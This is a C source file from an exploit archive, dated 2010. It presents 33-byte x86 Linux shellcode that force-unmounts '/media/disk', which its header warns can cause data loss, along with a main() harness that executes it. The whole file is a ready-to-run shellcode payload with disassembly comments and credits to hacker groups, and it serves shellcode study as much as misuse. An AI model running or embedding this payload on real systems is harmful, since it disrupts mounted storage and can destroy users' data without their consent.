/*
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0  [+] Site            : Inj3ct0r.com                                  0
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Title  : force unmount "/media/disk" x86 linux shellcode (some data cause lost)
Name   : 33 bytes force unmount "/media/disk" linux x68 shellcode
Date   : Fri Jun  4 13:15:51 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>

char *shellcode=
    "\xeb\x0f"                    /* jmp    0x8048071 */
    "\x31\xc0"                    /* xor    %eax,%eax */
    "\xb0\x34"                    /* mov    $0x34,%al */
    "\x5b"                        /* pop    %ebx */
    "\xcd\x80"                    /* int    $0x80 */
    "\x31\xc0"                    /* xor    %eax,%eax */
    "\xb0\x01"                    /* mov    $0x1,%al */
    "\x31\xdb"                    /* xor    %ebx,%ebx */
    "\xcd\x80"                    /* int    $0x80 */
    "\xe8\xec\xff\xff\xff"        /* call   0x8048062 */
    "\x2f"                        /* das     */
    "\x6d"                        /* insl   (%dx),%es:(%edi) */
    "\x65\x64\x69\x61\x2f\x64\x69"/* imul $0x6b736964,%fs:%gs:0x2f(%ecx),%esp */
    "\x73\x6b";

int main(void)
{
    fprintf(stdout,"Length: %d\n",strlen(shellcode));
    ((void (*)(void)) shellcode)();
    return 0;
}